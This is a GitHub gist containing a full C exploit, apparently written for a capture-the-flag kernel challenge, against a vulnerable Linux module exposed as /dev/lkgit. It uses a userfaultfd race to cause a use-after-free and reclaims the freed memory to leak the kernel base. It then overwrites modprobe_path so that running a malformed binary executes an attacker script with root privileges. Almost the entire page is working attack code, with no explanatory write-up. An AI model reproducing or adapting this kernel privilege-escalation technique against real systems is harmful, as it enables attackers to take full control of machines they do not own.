Created
March 6, 2023 07:47
-
-
Save lanleft/ce38201b8284635db76634389bf4def7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <linux/userfaultfd.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/ioctl.h> | |
#include <sys/syscall.h> | |
#include <sys/ipc.h> | |
#include <sys/shm.h> | |
#include <unistd.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <fcntl.h> | |
#define LKGIT_HASH_OBJECT 0xdead0001 | |
#define LKGIT_AMEND_MESSAGE 0xdead0003 | |
#define LKGIT_GET_OBJECT 0xdead0004 | |
#define FILE_MAXSZ 0x40 | |
#define MESSAGE_MAXSZ 0x20 | |
#define HASH_SIZE 0x10 | |
typedef struct | |
{ | |
char hash[HASH_SIZE]; // 0x10 | |
char *content; // 0x8 | |
char *message; // 0x8 | |
} hash_object; | |
typedef struct | |
{ | |
char hash[HASH_SIZE]; | |
char content[FILE_MAXSZ]; | |
char message[MESSAGE_MAXSZ]; | |
} log_object; | |
typedef struct | |
{ | |
long uffd; | |
unsigned long long page_start; | |
void *(*wp_fault_func)(void *); | |
void *(*read_fault_func)(void *, struct uffdio_copy*); | |
} userfd_callback_args; | |
int lkgit_fd; | |
pthread_t uffd_thread; | |
unsigned long modprobe_path, kbase; | |
int seqfd; | |
void errout(char *msg) | |
{ | |
perror(msg); | |
exit(-1); | |
} | |
void *userfd_thread_func(void *args) | |
{ | |
struct uffd_msg msg; | |
userfd_callback_args *cb_args = (userfd_callback_args *)args; | |
struct pollfd pollfd = { | |
.fd = cb_args->uffd, | |
.events = POLLIN}; | |
puts("Call userfd_thread_func"); | |
while (poll(&pollfd, 1, -1) > 0) | |
{ | |
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) | |
errout("polling error"); | |
if (!(pollfd.revents & POLLIN)) // if not read/POLLIN, the program will be continuing | |
continue; | |
if (read(cb_args->uffd, &msg, sizeof(msg)) == 0) // pause process in lkgit_get_object gets message | |
errout("read uffd event"); | |
printf("Userfault event\n"); | |
printf("======================================================================\n"); | |
if (msg.event & UFFD_EVENT_PAGEFAULT) | |
printf("PAGEFAULT : %p / Flags %p\n", (void *)msg.arg.pagefault.address, msg.arg.pagefault.flags); // fault in page 2 | |
long long addr = msg.arg.pagefault.address; | |
long long page_begin = addr - (addr % 0x1000); | |
// Check for write protected write fault | |
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP) | |
{ | |
printf("UFFD_PAGEFAULT_FLAG_WP\n"); | |
// If defined, call write protect fault handler | |
if(cb_args->wp_fault_func) | |
cb_args->wp_fault_func(cb_args); // break_on_read | |
// set page to not write protected to unlock kernel | |
struct uffdio_writeprotect wp; | |
wp.range.start = cb_args->page_start; | |
wp.range.len = 0x2000; | |
wp.mode = 0; | |
printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n"); | |
printf("======================================================================\n\n"); | |
fflush(stdout); | |
if (ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT, &wp) == -1) | |
{ | |
errout("ioctl(UFFDIO_WRITEPROTECT)"); | |
} | |
continue; | |
} | |
// Page wasn't touched by now, so fill it | |
printf("UFFDIO_COPY\n"); | |
char buf[0x1000]; | |
struct uffdio_copy cp = { | |
.src = (long long)buf, | |
.dst = (long long)addr, | |
.len = (long long)0x1000, | |
.mode = 0 | |
}; | |
// If defined, call read protect fault handler | |
if(cb_args->read_fault_func) | |
cb_args->read_fault_func(cb_args, &cp); // break_on_read | |
if (ioctl(cb_args->uffd, UFFDIO_COPY, &cp) == -1) | |
{ | |
perror("ioctl(UFFDIO_COPY)"); | |
} | |
printf("[+] Sent UFFDIO_COPY event to userfaultfd\n"); | |
printf("======================================================================\n\n"); | |
fflush(stdout); | |
} | |
return NULL; | |
} | |
userfd_callback_args* register_userfaultfd(unsigned long long mode, void *(*wp_fault_func)(void *), void *(*read_fault_func)(void *, struct uffdio_copy*)) | |
{ | |
printf("\n"); | |
printf("Register userfaultdfd\n"); | |
printf("======================================================================\n"); | |
// setup userfault fd | |
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); | |
if (uffd == -1) | |
{ | |
perror("syscall"); | |
exit(-1); | |
} | |
int uffd_flags = fcntl(uffd, F_GETFD, NULL); | |
printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags); | |
struct uffdio_api uffdio_api = { | |
.api = UFFD_API, | |
.features = 0}; | |
if (ioctl(uffd, UFFDIO_API, &uffdio_api)) | |
{ | |
perror("UFFDIO_API"); | |
exit(-1); | |
} | |
printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features); | |
char* userfault_region = mmap(NULL, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); | |
if (!userfault_region) | |
{ | |
perror("mmap"); | |
exit(-1); | |
} | |
if (posix_memalign((void **)userfault_region, 0x1000, 0x1000 * 2)) | |
{ | |
fprintf(stderr, "cannot align by pagesize %d\n", 0x1000); | |
exit(1); | |
} | |
printf("[+] Userfaultfd region : %p - %p\n", userfault_region, userfault_region + 0x1000 * 2); | |
struct uffdio_register uffdio_register; | |
uffdio_register.range.start = (unsigned long long)userfault_region; | |
uffdio_register.range.len = 0x1000 * 2; | |
uffdio_register.mode = mode; | |
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) | |
{ | |
perror("ioctl(UFFDIO_REGISTER)"); | |
exit(1); | |
} | |
printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls); | |
userfd_callback_args *cb_args = malloc(sizeof(userfd_callback_args)); | |
cb_args->uffd = uffd; | |
cb_args->wp_fault_func = wp_fault_func; // write function | |
cb_args->read_fault_func = read_fault_func; // break_on_read | |
cb_args->page_start = (unsigned long long)userfault_region; | |
pthread_create(&uffd_thread, NULL, userfd_thread_func, cb_args); | |
printf("[+] Userfaultfd process thread started: %p\n", uffd_thread); | |
printf("======================================================================\n\n"); | |
return cb_args; | |
} | |
void unregister_userfaultfd(userfd_callback_args* args) { | |
printf("\n"); | |
printf("Unregister userfaultdfd\n"); | |
printf("======================================================================\n"); | |
struct uffdio_range uf_range = { | |
.start = args->page_start, | |
.len = 0x2000 | |
}; | |
if (ioctl(args->uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) | |
errout("unregistering page for userfaultfd"); | |
if (munmap(args->page_start, 0x2000) == -1) | |
errout("munmapping userfaultfd page"); | |
close(args->uffd); | |
pthread_cancel(uffd_thread); | |
printf("[+] userfaultfd unregistered\n"); | |
printf("======================================================================\n\n"); | |
} | |
// take a snapshot of a file. | |
char snap_file(char *content, char *message, char *out_hash) | |
{ | |
hash_object req = { | |
.content = content, | |
.message = message, | |
}; | |
if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0) | |
{ | |
printf("[ERROR] failed to hash the object.\n"); | |
} | |
memcpy(out_hash, &req.hash, 0x10); | |
return 0; | |
} | |
char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; | |
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBB"; | |
char hash1[0x10]; | |
void spray_shmem(int count, int size) { | |
puts("[+] spray shmem structs"); | |
int shmid; | |
char *shmaddr; | |
for (int i = 0; i < count; i++) | |
{ | |
if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1) | |
{ | |
perror("shmget error"); | |
exit(-1); | |
} | |
shmaddr = shmat(shmid, NULL, 0); | |
if (shmaddr == (void *)-1) | |
{ | |
perror("shmat error"); | |
exit(-1); | |
} | |
} | |
} | |
void *break_on_read_leak(void *args, struct uffdio_copy *uf_buf) | |
{ | |
userfd_callback_args *cb_args = args; | |
puts("Userfault: break_on_read"); | |
printf("[+]Delete current object by storing one with the same hash\n"); | |
snap_file(fileContent1, fileMessage1, &hash1); | |
// printf("[+] Create a shmem struct in the freed object"); | |
puts("[*] Reclaim this chunks"); | |
// spray_shmem(1, 0x20); | |
if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0) { | |
errout("open seq_operations"); | |
} | |
} | |
void *break_on_read(void *args, struct uffdio_copy *uf_buf) | |
{ | |
userfd_callback_args *cb_args = args; | |
puts("Userfault: break_on_read"); | |
} | |
void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf) | |
{ | |
userfd_callback_args *cb_args = args; | |
// Write address of modprobe_path to hash_object->message | |
unsigned long* lptr = fileMessage1+0x18; | |
*lptr = modprobe_path; | |
// Reallocate file to get current object freed | |
snap_file(fileContent1, fileMessage1, &hash1); | |
// Reallocate file to overwrite current freed object with crafted message | |
// => overwrite message ptr of current object | |
snap_file(fileContent1, fileMessage1, &hash1); | |
// Put the content into UFFDIO_COPY src argument (which will be copied to corrupted message ptr) | |
char mod[] = "/home/user/x"; | |
memcpy(uf_buf->src, mod, sizeof(mod)); | |
} | |
int main(int argc, char *argv[]) | |
{ | |
// prepare modproble+path exploitation | |
system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag' > /home/user/x"); | |
system("chmod +x /home/user/x"); | |
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy"); | |
system("chmod +x /home/user/dummy"); | |
lkgit_fd = open("/dev/lkgit", O_RDWR); | |
if (lkgit_fd < 0) | |
{ | |
perror("open"); | |
} | |
printf("[+] Create initial file in lkgit\n"); | |
snap_file(fileContent1, fileMessage1, hash1); | |
printf("[+] Register userfault fd\n"); | |
userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_leak); | |
printf("[+] Request file, and let it break on copying back message\n"); | |
log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on message | |
memcpy(&req->hash, hash1, 0x10); | |
ioctl(lkgit_fd, LKGIT_GET_OBJECT, req); | |
kbase = *((unsigned long*)(req->hash + 0x8)) - 0x1adc40; | |
modprobe_path = kbase + 0xc3cb20; | |
printf("[+] Kernel base : %p\n", kbase); | |
printf("[+] modprobe_path : %p\n", modprobe_path); | |
// | |
unregister_userfaultfd(uffdargs); | |
puts("[+] Register new userfaultfd"); | |
uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite); | |
// overwrite modeprobe_path | |
// Align the request object, so that lkgit_amend_message will pagefault on reading new message | |
ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, req); | |
close(lkgit_fd); | |
system("/home/user/dummy"); | |
system("cat /home/user/flag"); | |
return 1; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment